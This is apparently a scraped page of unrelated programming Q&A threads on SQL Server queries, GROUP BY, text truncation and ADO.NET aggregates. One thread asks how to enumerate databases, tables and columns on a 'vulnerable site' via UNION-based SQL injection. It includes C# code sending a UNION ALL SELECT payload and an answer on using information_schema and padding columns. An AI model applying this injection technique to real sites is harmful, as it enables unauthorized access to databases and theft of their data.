I have column called SubjectIds in which I saving Multiple ids by comma separated. I have to give filter on SubjectIds where I can send multiple subject id (1,5,7), and based on that data, should come..
If you need to filter by such a SubjectId, this can be accomplished in raw SQL by using the STRING_SPLIT method:
select
*
from
(
SELECT
value
FROM
STRING_SPLIT('1,2,3,4', ',')
) source
where
value = 3
Related
If I had a vulnerable site how would I go by getting the Database names, table names, column names and amount of rows in the columns using UNION or ERROR queries, in C#?
The code I have right now is:
(xNet)
HttpRequest httpRequest = new HttpRequest()
//DB NAMES
string result = httpRequest.Get("https://vulnerable.url/example?id=23" + " UNION ALL SELECT 1, group_concat(.:, database, .:),3,4,5,6 -- ")
//2 is the vulnerable column
if(result.Contains(".:")
{
string output = Regex.Match(result, ".: (.*?) .:")
}
Console.Writeline(output);
That's what I'm trying to use to get the database names, I know that to get the version, i would replace "database()" with "version()" (I think)
but the output is just "database()",
I also want to get the column names and amount of rows in the database.
Thanks
Using the information_schema SCHEMATA contains databases but there are other there for Tables and COLUMNS.
So:
UNION SELECT CATALOG_NAME,SCHEMA_NAME FROM information_schema.SCHEMATA
The tricky bit is matching the number of columns in this UNION with what the original query is returning. Like your example you can padd fields with dummy values or CONCAT(f1, ' ', f2) if you have more fields than the original query.
The other part about SQL is knowing where you are injecting so you can adjust the string to make it valid SQL.
I want to select distinct value in the query but it shows multiple values. I have 2 identical names in my name column. I think distinct is for unique value but I don't know what is happening.
Here is my query
string lakhas1 = "SELECT DISTINCT
NAME,EXPENSE,AMOUNT1,AMOUNT2,AMOUNT3,AMOUNT01,AMOUNT02,AMOUNT03 FROM
INCOME ORDER BY NAME";
DataTable dt1 = DataAccess.GetDataTable(lakhas1);
In order to have your result set be distinct by name, you can use the group by keyword to group the records. When you do this, any other columns you want to select either have to be part of the group by (i.e. part of the key that makes the record distinct) or they have to be used in an aggregate function.
In this case, I assumed you want to sum the values from the records together. However, you could use min() or max() just the same.
select
name,
sum(expense) as expense,
sum(amount1) as amount1,
sum(amount2) as amount2,
sum(amount3) as amount3,
sum(amount01) as amount01,
sum(amount02) as amount02,
sum(amount03) as amount03
from dbo.income
group by name
order by name
This is my table:
I am basically using the following table to pass a select statement and viewing it as a pie graph.The pie graph excludes fields that are null or 0. So First i used the following query to select the total number by its respective group number and it worked fine. This is the working query.
query = "Select groupNumber as \"Group Number\", totalNumber as \"Total Number\" From " + table;
However i found it hard to read since both columns are numbers and therefore figured it will be better to pass a query where i can select the total numbers by its respective groupName. This is a problem though because if u look at the table you will notice that groupNames can be repeated.
Therefore i would like to do a select satement where i can query the total number by the groupnumber and groupname.
Is this possible if so how? Also i can't modify the data as i receive it in such format from a established connection.
I have following query
select * from table1
if table1 contains text type column/columns then I need only 100 characters
Assume, End User don't know the schema(columns name) of table,Just know table name
Executing this query from query analyzer that is front end application.
User writer query in textarea and executes
*I am Using SqlServer2005
Dont use substring function in query from frond end
I can use substring function on text columns in C# code but I want this in database end.
*
If I understand correctly, you want the user to specify a table name, and get in return the result of SELECT * FROM with all the text fields limited to 100 characters, and all that on the database side?
Seems to me you need to create a stored procedure to do that. Your input parameter would be the table name, then you'll go on querying the table's structure, and build a dynamic SELECT statement that uses the SQL substring on text fields larger than 100 characters. Run the dynamic SQL statement inside your stored procedure, and that will be your result.
To get the table structure, just run the stored procedure sp_help with the table name as a parameter. The result will contain the column names and types. Loop over it to build your dynamic SQL statement.
I would recommend doing this in application logic rather than in SQL, especially since it seems that you are talking about more than one table.
Use The SqlDataReader, loop through the results and cut the strings as you need them:
while(reader.Read())
{
var rawValues = reader.GetValues();
var values = new object[rawValues.Length];
for (i=0; i < rawValues.Length; i++)
{
var value = rawValues[i];
if(value != null && value is string && value.Length > 100]
values[i] = value.SubString(0, 100);
}
//now do whatever you want with the values
}
To avoid constant reflection (is string) you could also use the schema info of the reader to figure out which are string columns.
Using: ado.net
How can I select data from a DataTable using SQL with an aggregation function?
I know that I can use select property (http://msdn.microsoft.com/en-us/library/t5ce3dyt(vs.71).aspx ) but I need an aggregation function to use it with, and I didn't find any examples for this.
Aggregates in DataSet are normally used in conjunction with relations:
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/cpref/html/frlrfsystemdatadatacolumnclassexpressiontopic.asp
Basically if you need your result as single row with single column, you'd need to create that extra table with that column and add expression to it so you would get a single row:
Table1, column Number: 3 rows containing 1,2,3
Table2, column Average, expression set to "Avg(Table1.Number)": One rows containing 2
As to your particular example: "SELECT COUNT(*) FROM ", you could use row count: table.Rows.Count
You can also create DataView with particular filter and get number of rows in it to emulate more complex cases of COUNT.